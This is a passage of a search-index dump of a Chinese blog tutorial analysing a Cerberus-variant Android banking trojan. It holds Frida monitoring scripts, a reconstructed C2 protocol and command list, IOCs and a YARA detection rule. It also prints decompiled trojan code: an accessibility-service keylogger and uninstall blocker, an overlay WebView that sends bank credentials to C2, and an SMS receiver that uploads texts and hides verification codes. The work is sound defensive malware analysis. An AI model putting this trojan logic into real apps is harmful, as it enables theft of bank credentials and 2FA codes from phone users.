console.log(\" 密钥(hex): \" + bytesToHex(key)); console.log(\" 密钥(str): \" + bytesToString(key)); return this.$init(key, algo); }; // Hook IvParameterSpec 提取 IV var IvParameterSpec = Java.use(\"javax.crypto.spec.IvParameterSpec\"); IvParameterSpec.$init.overload(\"[B\").implementation = function(iv) { console.log(\"[IV] \" + bytesToHex(iv)); return this.$init(iv); }; }); function bytesToHex(bytes) { var hex = []; for (var i = 0; i \u003c bytes.length; i++) { hex.push(('0' + (bytes[i] \u0026 0xFF).toString(16)).slice(-2)); } return hex.join(''); } function bytesToString(bytes) { var result = \"\"; for (var i = 0; i \u003c bytes.length; i++) { result += String.fromCharCode(bytes[i] \u0026 0xFF); } return result; } ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:6:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#62-解密-c2-通信"},{"categories":null,"collections":null,"content":"6.3 协议重建 提取足够多的通信样本后，可以重建 C2 协议格式： 典型银行木马 C2 协议结构: ┌──────────── 请求报文 ────────────┐ │ │ │ { │ │ \"cmd\": \"register\", │ \u003c-- 指令类型 │ \"bot_id\": \"a1b2c3d4\", │ \u003c-- 设备唯一标识 │ \"data\": { │ │ \"model\": \"SM-G955F\", │ \u003c-- 设备信息 │ \"android\": \"11\", │ │ \"operator\": \"中国移动\", │ │ \"apps\": [ │ \u003c-- 已安装银行 App 列表 │ \"com.icbc\", │ │ \"com.ccb.banking\", │ │ \"com.chinamworld.bocmbci\" │ │ ], │ │ \"lang\": \"zh_CN\", │ │ \"is_admin\": true, │ \u003c-- 是否获取了设备管理员 │ \"is_accessibility\": true │ \u003c-- 是否获取了无障碍权限 │ } │ │ } │ │ │ └──────────────────────────────────┘ ┌──────────── 响应报文 ────────────┐ │ │ │ { │ │ \"status\": \"ok\", │ │ \"commands\": [ │ │ { │ │ \"action\": \"inject\", │ \u003c-- 注入覆盖页面 │ \"target\": \"com.icbc\", │ \u003c-- 目标 App │ \"url\": \"https://xx/icbc\" │ \u003c-- 钓鱼页面 URL │ }, │ │ { │ │ \"action\": \"sms_forward\", │ \u003c-- 转发短信 │ \"phone\": \"+86xxx\" │ │ }, │ │ { │ │ \"action\": \"update\", │ \u003c-- 更新自身 │ \"url\": \"https://xx/v2.apk\"│ │ } │ │ ] │ │ } │ │ │ └──────────────────────────────────┘ 常见 C2 指令集: 指令 功能 参数 register 注册 Bot 设备信息、已安装 App inject 推送覆盖页面 目标包名、钓鱼 URL sms_forward 转发短信 目标号码 sms_send 发送短信 号码、内容 get_contacts 窃取通讯录 无 get_apps 获取已安装 App 无 lock_screen 锁定屏幕 无 update 自更新 新版本 URL uninstall 自我销毁 无 push_notification 推送虚假通知 标题、内容、目标 App ussd 执行 USSD 代码 USSD 字符串 keylog_start 开始键盘记录 无 screen_capture 截屏 无 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:6:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#63-协议重建"},{"categories":null,"collections":null,"content":"Frida 恶意软件分析脚本 本节提供一套完整的 Frida 脚本集，用于监控恶意软件的各种敏感行为。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:7:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#frida-恶意软件分析脚本"},{"categories":null,"collections":null,"content":"7.1 综合监控脚本 // malware_monitor.js - 恶意软件综合行为监控脚本 // 用法: frida -U -f com.malware.package -l malware_monitor.js --no-pause \"use strict\"; console.log(\"========================================\"); console.log(\" 恶意软件行为监控 v1.0\"); console.log(\"========================================\\n\"); Java.perform(function() { // ===== 1. 短信相关 API 监控 ===== console.log(\"[*] 挂载短信监控...\"); var SmsManager = Java.use(\"android.telephony.SmsManager\"); SmsManager.sendTextMessage.overload( \"java.lang.String\", \"java.lang.String\", \"java.lang.String\", \"android.app.PendingIntent\", \"android.app.PendingIntent\" ).implementation = function(dst, sc, text, sentIntent, deliveryIntent) { console.log(\"\\n[!!! SMS 发送 !!!]\"); console.log(\" 目标号码: \" + dst); console.log(\" 内容: \" + text); console.log(\" 调用栈:\\n\" + Java.use(\"android.util.Log\") .getStackTraceString(Java.use(\"java.lang.Exception\").$new())); return this.sendTextMessage(dst, sc, text, sentIntent, deliveryIntent); }; // ===== 2. 电话/设备信息获取监控 ===== console.log(\"[*] 挂载设备信息监控...\"); var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function() { var result = this.getDeviceId(); console.log(\"[INFO] getDeviceId() =\u003e \" + result); return result; }; TelephonyManager.getSubscriberId.implementation = function() { var result = this.getSubscriberId(); console.log(\"[INFO] getSubscriberId() =\u003e \" + result); return result; }; TelephonyManager.getLine1Number.implementation = function() { var result = this.getLine1Number(); console.log(\"[INFO] getLine1Number() =\u003e \" + result); return result; }; TelephonyManager.getSimSerialNumber.implementation = function() { var result = this.getSimSerialNumber(); console.log(\"[INFO] getSimSerialNumber() =\u003e \" + result); return result; }; // ===== 3. 联系人/内容提供者查询监控 ===== console.log(\"[*] 挂载 ContentResolver 监控...\"); var ContentResolver = Java.use(\"android.content.ContentResolver\"); ContentResolver.query.overload( \"android.net.Uri\", \"[Ljava.lang.String;\", \"java.lang.String\", \"[Ljava.lang.String;\", \"java.lang.String\" ).implementation = function(uri, projection, selection, selectionArgs, sortOrder) { var uriStr = uri.toString(); // 只记录敏感 URI if (uriStr.indexOf(\"contacts\") !== -1 || uriStr.indexOf(\"sms\") !== -1 || uriStr.indexOf(\"call_log\") !== -1 || uriStr.indexOf(\"browser\") !== -1) { console.log(\"\\n[!!! 敏感数据查询 !!!]\"); console.log(\" URI: \" + uriStr); } return this.query(uri, projection, selection, selectionArgs, sortOrder); }; // ===== 4. 文件操作监控 ===== console.log(\"[*] 挂载文件操作监控...\"); var FileOutputStream = Java.use(\"java.io.FileOutputStream\"); FileOutputStream.$init.overload(\"java.io.File\").implementation = function(file) { var path = file.getAbsolutePath(); if (path.indexOf(\"/sdcard/\") !== -1 || path.indexOf(\"/storage/\") !== -1 || path.indexOf(\".dex\") !== -1 || path.indexOf(\".jar\") !== -1 || path.indexOf(\".so\") !== -1) { console.log(\"[FILE WRITE] \" + path); } return this.$init(file); }; // ===== 5. 相机监控 ===== console.log(\"[*] 挂载相机监控...\"); try { var Camera = Java.use(\"android.hardware.Camera\"); Camera.open.overload(\"int\").implementation = function(id) { console.log(\"[!!! 相机打开 !!!] CameraId: \" + id); return this.open(id); }; } catch(e) {} // ===== 6. 录音监控 ===== console.log(\"[*] 挂载录音监控...\"); try { var MediaRecorder = Java.use(\"android.media.MediaRecorder\"); MediaRecorder.start.implementation = function() { console.log(\"[!!! 录音开始 !!!]\"); console.log(\" 调用栈:\\n\" + Java.use(\"android.util.Log\") .getStackTraceString(Java.use(\"java.lang.Exception\").$new())); return this.start(); }; } catch(e) {} // ===== 7. 位置信息监控 ===== console.log(\"[*] 挂载位置监控...\"); var LocationManager = Java.use(\"android.location.LocationManager\"); LocationManager.getLastKnownLocation.implementation = function(provider) { var loc = this.getLastKnownLocation(provider); if (loc !== null) { console.log(\"[!!! 位置获取 !!!] \" + loc.getLatitude() + \", \" + loc.getLongitude()); } return loc; }; // ===== 8. Runtime.exec 监控 (检测 root 命令执行) ===== console.log(\"[*] 挂载命令执行监控...\"); var Runtime = Jav","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:7:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#71-综合监控脚本"},{"categories":null,"collections":null,"content":"7.2 网络连接专项监控 // network_monitor.js - 网络通信深度监控 Java.perform(function() { console.log(\"[*] 网络通信监控已启动\\n\"); // 监控所有 URL 请求 var URL = Java.use(\"java.net.URL\"); URL.$init.overload(\"java.lang.String\").implementation = function(url) { console.log(\"[URL] \" + url); return this.$init(url); }; // 监控 OkHttp 请求和响应 try { // Hook RealCall.execute() 获取完整请求和响应 var RealCall = Java.use(\"okhttp3.RealCall\"); RealCall.execute.implementation = function() { var request = this.request(); console.log(\"\\n[OkHttp Request]\"); console.log(\" URL: \" + request.url()); console.log(\" Method: \" + request.method()); // 打印请求体 var body = request.body(); if (body !== null) { var Buffer = Java.use(\"okio.Buffer\"); var buf = Buffer.$new(); body.writeTo(buf); console.log(\" Body: \" + buf.readUtf8()); } var response = this.execute(); console.log(\"[OkHttp Response]\"); console.log(\" Code: \" + response.code()); // 注意: 读取响应体会消耗流，需要特殊处理 // 这里仅记录状态码和头信息 return response; }; } catch(e) { console.log(\"[-] OkHttp hook 失败 (可能未使用 OkHttp)\"); } // 监控 WebSocket 连接 (用于实时 C2 通信) try { var WebSocketListener = Java.use(\"okhttp3.WebSocketListener\"); WebSocketListener.onMessage.overload( \"okhttp3.WebSocket\", \"java.lang.String\" ).implementation = function(ws, text) { console.log(\"\\n[!!! WebSocket 消息 !!!]\"); console.log(\" 内容: \" + text); return this.onMessage(ws, text); }; } catch(e) {} // 监控 Telegram Bot API 调用 var URLConnection = Java.use(\"java.net.HttpURLConnection\"); URLConnection.connect.implementation = function() { var url = this.getURL().toString(); if (url.indexOf(\"api.telegram.org\") !== -1) { console.log(\"\\n[!!! Telegram C2 通信 !!!]\"); console.log(\" URL: \" + url); } return this.connect(); }; // 监控 DNS 解析 var InetAddress = Java.use(\"java.net.InetAddress\"); InetAddress.getByName.implementation = function(host) { var result = this.getByName(host); console.log(\"[DNS] \" + host + \" =\u003e \" + result.getHostAddress()); return result; }; }); ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:7:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#72-网络连接专项监控"},{"categories":null,"collections":null,"content":"7.3 加密操作专项监控 // crypto_monitor.js - 加密操作全面监控 Java.perform(function() { console.log(\"[*] 加密操作监控已启动\\n\"); // ===== Cipher 操作 ===== var Cipher = Java.use(\"javax.crypto.Cipher\"); Cipher.getInstance.overload(\"java.lang.String\").implementation = function(algo) { console.log(\"[Cipher] 算法: \" + algo); return this.getInstance(algo); }; Cipher.init.overload(\"int\", \"java.security.Key\").implementation = function(mode, key) { var modeStr = (mode === 1) ? \"ENCRYPT\" : (mode === 2) ? \"DECRYPT\" : \"MODE_\" + mode; console.log(\"[Cipher] init \" + modeStr); console.log(\" Key算法: \" + key.getAlgorithm()); console.log(\" Key(hex): \" + bytesToHex(key.getEncoded())); return this.init(mode, key); }; Cipher.doFinal.overload(\"[B\").implementation = function(data) { var result = this.doFinal(data); var mode = this.getOpMode(); console.log(\"\\n[Cipher doFinal] \" + this.getAlgorithm()); if (mode === 1) { console.log(\" 输入(明文): \" + bytesToUtf8(data)); console.log(\" 输出(密文hex): \" + bytesToHex(result)); } else { console.log(\" 输入(密文hex): \" + bytesToHex(data)); console.log(\" 输出(明文): \" + bytesToUtf8(result)); } return result; }; // ===== MessageDigest (哈希) ===== var MessageDigest = Java.use(\"java.security.MessageDigest\"); MessageDigest.digest.overload(\"[B\").implementation = function(data) { var result = this.digest(data); console.log(\"\\n[Hash] \" + this.getAlgorithm()); console.log(\" 输入: \" + bytesToUtf8(data)); console.log(\" 输出(hex): \" + bytesToHex(result)); return result; }; // ===== Base64 ===== var Base64 = Java.use(\"android.util.Base64\"); Base64.encodeToString.overload(\"[B\", \"int\").implementation = function(data, flags) { var result = this.encodeToString(data, flags); console.log(\"\\n[Base64 Encode]\"); console.log(\" 输入: \" + bytesToUtf8(data)); console.log(\" 输出: \" + result.trim()); return result; }; Base64.decode.overload(\"java.lang.String\", \"int\").implementation = function(str, flags) { var result = this.decode(str, flags); console.log(\"\\n[Base64 Decode]\"); console.log(\" 输入: \" + str.trim()); console.log(\" 输出: \" + bytesToUtf8(result)); return result; }; }); function bytesToHex(arr) { var hex = \"\"; for (var i = 0; i \u003c arr.length; i++) { hex += (\"0\" + (arr[i] \u0026 0xFF).toString(16)).slice(-2); } return hex; } function bytesToUtf8(arr) { try { var result = \"\"; for (var i = 0; i \u003c arr.length; i++) { var c = arr[i] \u0026 0xFF; if (c \u003e= 32 \u0026\u0026 c \u003c 127) { result += String.fromCharCode(c); } else { result += \".\"; } } return result; } catch(e) { return \"\u003c无法解码\u003e\"; } } ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:7:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#73-加密操作专项监控"},{"categories":null,"collections":null,"content":"案例：银行木马分析 💡 思路一句话: 静态分析 APK 权限和组件 → 动态沙箱观察行为（网络、文件、短信）→ 提取 C2 通信协议和加密方式 → 编写 YARA 规则用于检测。 安全提示: 分析恶意样本请在隔离环境中进行（虚拟机/专用设备），断开与主网络的连接。 本节以一个完整的银行木马样本为例，演示从获取样本到输出报告的全过程。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#案例银行木马分析"},{"categories":null,"collections":null,"content":"样本概况 属性 值 伪装 Flash Player / 系统更新 家族 Cerberus 变种 SHA256 a1b2c3d4e5f6... (示例) 包名 com.system.update 目标区域 中国、东南亚 首次发现 钓鱼短信中的下载链接 行为概述: 诱导用户开启\"无障碍服务\"，然后利用该权限进行点击劫持、覆盖攻击 (Overlay Attack)，窃取银行 App 的账号密码，并拦截短信验证码。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#样本概况"},{"categories":null,"collections":null,"content":"第 1 步：静态分析 (Manifest \u0026 权限) 使用 jadx 打开 APK，首先查看 AndroidManifest.xml。 关键发现: 敏感权限: android.permission.BIND_ACCESSIBILITY_SERVICE (无障碍服务 - 核心权限) android.permission.RECEIVE_SMS (接收短信) android.permission.READ_SMS (读取短信) android.permission.SYSTEM_ALERT_WINDOW (悬浮窗 - 用于覆盖攻击) android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS (忽略电池优化 - 保活) 入口点 (Entry Points): 发现一个 MainActivity，但代码很简单，只是请求权限。 发现一个 MyAccessibilityService，继承自 AccessibilityService，这是核心逻辑所在。 SmsReceiver 注册了高优先级 (priority=999) 的 SMS 广播接收器。 BootReceiver 监听开机广播实现持久化。 AdminReceiver 注册为设备管理器防止卸载。 样本攻击链 (Kill Chain): [钓鱼短信] │ v [用户下载安装 APK] │ v [MainActivity 诱导开启无障碍服务] │ ├──\u003e [注册设备管理器 - 防卸载] ├──\u003e [注册开机广播 - 持久化] ├──\u003e [隐藏图标 - 隐蔽性] │ v [无障碍服务启动 - 核心恶意引擎] │ ├──\u003e [监控目标银行 App] │ └──\u003e [覆盖攻击窃取凭证] │ ├──\u003e [拦截短信验证码] │ └──\u003e [上传至 C2] │ ├──\u003e [键盘记录] │ └──\u003e [上传至 C2] │ ├──\u003e [自动点击\"允许\"绕过权限弹窗] │ └──\u003e [阻止用户进入设置页面卸载] ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#第-1-步静态分析-manifest--权限"},{"categories":null,"collections":null,"content":"第 2 步：分析无障碍服务 (Accessibility Service) 定位到 MyAccessibilityService 类，重点分析 onAccessibilityEvent 方法。 public void onAccessibilityEvent(AccessibilityEvent event) { String packageName = event.getPackageName().toString(); // 1. Auto grant permissions (Self-Protection \u0026 Persistence) if (packageName.equals(\"com.android.settings\")) { // If user opens settings page to uninstall or disable permissions, // malware will auto click \"Back\" or \"Cancel\" performGlobalAction(GLOBAL_ACTION_BACK); } // 2. Monitor target banking apps if (TARGET_BANK_APPS.contains(packageName)) { // Detected victim opened banking app showOverlay(packageName); } // 3. Keyboard recording (Keylogging) if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) { String text = event.getText().toString(); logKey(text); } } 目标银行 App 列表 (从反编译代码中提取): // 硬编码在代码中的目标 App 列表 private static final String[] TARGET_BANK_APPS = { \"com.icbc\", // 工商银行 \"com.ccb.banking\", // 建设银行 \"com.chinamworld.bocmbci\", // 中国银行 \"cmb.pb\", // 招商银行 \"com.chinamworld.main\", // 农业银行 \"com.bankcomm.Bankcomm\", // 交通银行 \"com.pingan.pacemaker\", // 平安口袋银行 \"com.cebbank.mobile.cemb\", // 光大银行 \"com.yitong.mbank.psbc\", // 邮储银行 \"com.tencent.mm\", // 微信 (支付功能) \"com.eg.android.AlipayGphone\", // 支付宝 }; ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#第-2-步分析无障碍服务-accessibility-service"},{"categories":null,"collections":null,"content":"第 3 步：覆盖攻击 (Overlay Attack) 当无障碍服务检测到用户打开目标银行 App 时，恶意软件通过 SYSTEM_ALERT_WINDOW 权限创建一个全屏悬浮窗，加载一个精心伪造的钓鱼页面，覆盖在真实银行 App 之上。 窃取流程: 用户以为自己在登录银行，实际上是在木马的 WebView 中输入了账号密码。木马通过 JavaScript Interface 将输入的数据传回 Java 层，然后上传服务器。 // 从 C2 下载的钓鱼页面通过 WebView 加载 webView.addJavascriptInterface(new Object() { @JavascriptInterface public void submitCredentials(String bank, String user, String pass) { // 通过 C2 回传窃取的凭证 JSONObject json = new JSONObject(); json.put(\"cmd\", \"creds\"); json.put(\"bank\", bank); json.put(\"user\", user); json.put(\"pass\", pass); json.put(\"bot_id\", getBotId()); sendToC2(json.toString()); } }, \"AndroidBridge\"); ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:4","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#第-3-步覆盖攻击-overlay-attack"},{"categories":null,"collections":null,"content":"第 4 步：短信拦截 (SMS Stealing) 分析 SmsReceiver 类。高优先级注册确保恶意软件先于系统短信 App 收到短信广播。 public class SmsReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Object[] pdus = (Object[]) intent.getExtras().get(\"pdus\"); for (Object pdu : pdus) { SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu); String body = sms.getMessageBody(); String sender = sms.getOriginatingAddress(); // Upload SMS to C2 Server uploadSmsToC2(sender, body); // If SMS contains \"verification code\" or other key words, // intercept the broadcast so user cannot see it if (is2FACode(body)) { abortBroadcast(); } } } } ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:5","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#第-4-步短信拦截-sms-stealing"},{"categories":null,"collections":null,"content":"第 5 步：C2 通信分析 定位 C2 地址: 资源解密: 有时 C2 地址被加密存储在 assets 下的图片或文本文件中，或者使用 DGA (域名生成算法) 动态生成。 Native 分析: 越来越多的木马将 C2 地址和通信逻辑隐藏在 SO 库中。 通信协议: HTTP/HTTPS: 抓包分析 POST 请求。 WebSocket: 用于实时控制。 Telegram Bot API: 很多新型木马利用 Telegram Bot 作为 C2，因为 Telegram 的流量通常不会被防火墙拦截，且 HTTPS 难以解密。 本样本使用 AES-CBC 加密 + Base64 编码与 C2 通信。使用前文的 Frida 加密监控脚本成功提取： [Cipher] init ENCRYPT Key算法: AES Key(hex): 6d616c776172656b65793132333435 (\"malwarekey12345\") [Cipher doFinal] AES/CBC/PKCS5Padding 输入(明文): {\"cmd\":\"register\",\"bot_id\":\"abc123\",\"data\":{\"model\":\"Pixel 4\"...}} 输出(密文hex): 8a3f2b... [URL] https://evil-c2-server.xyz/api/bot Frida Hook 示例 (拦截 Telegram API): // Assume malware uses OkHttp Java.perform(function () { var OkHttpClient = Java.use(\"okhttp3.OkHttpClient\"); OkHttpClient.newCall.implementation = function (request) { var url = request.url().toString(); if (url.includes(\"api.telegram.org\")) { console.log(\"[!] Detected Telegram C2 Communication: \" + url); } return this.newCall(request); }; }); ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:6","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#第-5-步c2-通信分析"},{"categories":null,"collections":null,"content":"第 6 步：反分析技术 木马作者也会使用各种手段防止被逆向： 模拟器检测: 检查 Build.FINGERPRINT, Build.MODEL 等。 加壳: 使用免费或商业的加固服务。 动态加载: 核心 dex 文件被加密存储，运行时动态解密加载 (DexClassLoader)。 字符串加密: 所有关键字符串使用 XOR 或 AES 加密，运行时解密。 反 Frida: 检测 frida-server 端口和内存特征。 使用前述 Frida 脚本成功绕过所有反分析检测后，获取到完整的行为数据。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:7","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#第-6-步反分析技术"},{"categories":null,"collections":null,"content":"第 7 步：IOC 提取 从分析中提取的威胁指标 (Indicators of Compromise)： ===== IOC 汇总 ===== [文件哈希] MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: a1b2c3d4e5f67890... [C2 服务器] 域名: evil-c2-server.xyz IP: 185.xxx.xxx.xxx 端口: 443 (HTTPS) 备用 C2: 域名: backup-c2.top IP: 91.xxx.xxx.xxx Telegram Bot Token: 1234567890:ABCdefGHIjklMNOpqrsTUVwxyz [加密信息] 算法: AES/CBC/PKCS5Padding 密钥: malwarekey12345 (hex: 6d616c776172656b65793132333435) IV: 1234567890abcdef [恶意 URL] 钓鱼页面: https://evil-c2-server.xyz/inject/icbc.html 更新地址: https://evil-c2-server.xyz/update/v2.apk [权限特征] BIND_ACCESSIBILITY_SERVICE RECEIVE_SMS / READ_SMS SYSTEM_ALERT_WINDOW RECEIVE_BOOT_COMPLETED BIND_DEVICE_ADMIN ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:8:8","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#第-7-步ioc-提取"},{"categories":null,"collections":null,"content":"报告撰写 分析完成后，需要输出一份结构化的恶意软件分析报告。 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:9:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#报告撰写"},{"categories":null,"collections":null,"content":"报告模板结构 ┌─────────────────────────────────────────────────────────────┐ │ 恶意软件分析报告结构 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. 执行摘要 (Executive Summary) │ │ - 样本类型、危害等级、核心发现 │ │ - 面向非技术人员的简要说明 │ │ │ │ 2. 样本信息 (Sample Information) │ │ - 文件名、大小、哈希值 │ │ - 包名、版本、签名证书 │ │ - 首次发现时间与来源 │ │ │ │ 3. 技术分析 (Technical Analysis) │ │ - 静态分析结果 │ │ - 动态分析结果 │ │ - 代码分析 (关键函数/类) │ │ - 网络行为分析 │ │ │ │ 4. 行为详述 (Behavior Details) │ │ - 安装与初始化行为 │ │ - 持久化机制 │ │ - 数据窃取方式 │ │ - C2 通信协议 │ │ - 反分析技术 │ │ │ │ 5. IOC (Indicators of Compromise) │ │ - 文件哈希 │ │ - 网络指标 (域名、IP、URL) │ │ - 主机指标 (文件路径、注册表、进程名) │ │ │ │ 6. MITRE ATT\u0026CK 映射 │ │ - 对应的 TTP (Tactics, Techniques, Procedures) │ │ │ │ 7. 缓解建议 (Mitigation) │ │ - 检测规则 (YARA / Snort / Sigma) │ │ - 防御建议 │ │ │ │ 8. 附录 (Appendix) │ │ - 完整的反编译代码片段 │ │ - 网络流量截图 │ │ - 分析工具版本信息 │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:9:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#报告模板结构"},{"categories":null,"collections":null,"content":"MITRE ATT\u0026CK 映射示例 对于本案例中的银行木马，对应的 ATT\u0026CK for Mobile 技术如下： Tactic (战术) Technique (技术) ID 本样本行为 Initial Access Deliver Malicious App via SMS T1660 钓鱼短信分发 APK Persistence Boot or Logon Initialization T1398 开机自启 BootReceiver Privilege Escalation Abuse Accessibility Features T1453 滥用无障碍服务 Defense Evasion Application Icon Hiding T1628.001 隐藏桌面图标 Defense Evasion Device Admin Abuse T1401 防止卸载 Credential Access Input Capture: Keylogging T1417.001 键盘记录 Credential Access Input Capture: GUI Input T1417.002 覆盖攻击 Collection SMS Access T1636.004 短信拦截 C2 Web Protocols T1437.001 HTTPS C2 通信 Exfiltration Exfiltration Over C2 T1646 通过 C2 回传数据 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:9:2","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#mitre-attck-映射示例"},{"categories":null,"collections":null,"content":"YARA 规则示例 rule Android_BankingTrojan_Cerberus_Variant { meta: author = \"Malware Analyst\" description = \"检测 Cerberus 银行木马变种\" date = \"2025-02-08\" severity = \"high\" family = \"Cerberus\" strings: // 目标银行 App 包名 $pkg1 = \"com.icbc\" ascii $pkg2 = \"com.ccb.banking\" ascii $pkg3 = \"cmb.pb\" ascii $pkg4 = \"com.eg.android.AlipayGphone\" ascii // C2 通信特征 $c2_1 = \"api/bot\" ascii $c2_2 = \"api.telegram.org\" ascii // 加密密钥特征 $key1 = \"malwarekey\" ascii // 无障碍服务关键字 $acc1 = \"onAccessibilityEvent\" ascii $acc2 = \"GLOBAL_ACTION_BACK\" ascii $acc3 = \"TYPE_VIEW_TEXT_CHANGED\" ascii // 短信拦截 $sms1 = \"abortBroadcast\" ascii $sms2 = \"getMessageBody\" ascii // 覆盖攻击 $overlay1 = \"TYPE_APPLICATION_OVERLAY\" ascii $overlay2 = \"addJavascriptInterface\" ascii condition: // APK 文件魔数 uint32(0) == 0x04034b50 and filesize \u003c 10MB and (3 of ($pkg*)) and (1 of ($c2*)) and (2 of ($acc*)) and (1 of ($sms*)) and (1 of ($overlay*)) } ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:9:3","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#yara-规则示例"},{"categories":null,"collections":null,"content":"工具链推荐 ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:10:0","tags":["Native层","浏览器指纹","Frida","案例分析","SSL Pinning","加密分析","恶意软件","C2通信"],"title":"安卓银行木马分析案例","uri":"/reverse_engineering/android/03-case-studies/case_malware_analysis/#工具链推荐"},{"categories":null,"collections":null,"content":"综合分析平台 工具 类型 用途 链接 VirusTotal 在线 多引擎扫描、行为报告、关联分析 virustotal.com MobSF 本地/在线 自动化静态+动态分析 github.com/MobSF DroidBox 本地 Android 沙箱，监控 API 调用、网络、文件操作 github.com/pjlantz/droidbox Joe Sandbox 在线 专业沙箱分析，生成详细行为报告 joesandbox.com Hybrid Analysis 在线 免费沙箱分析 hybrid-analysis.com Koodous 在线 Android 恶意软件社区和分析平台 koodous.com ","date":"2025-02-08","objectID":"/reverse_engineering/android/03-case-studies/case_malware_analysis/:10:1","tags":["Native层","浏览器指纹","Frida","案例分析","SSL 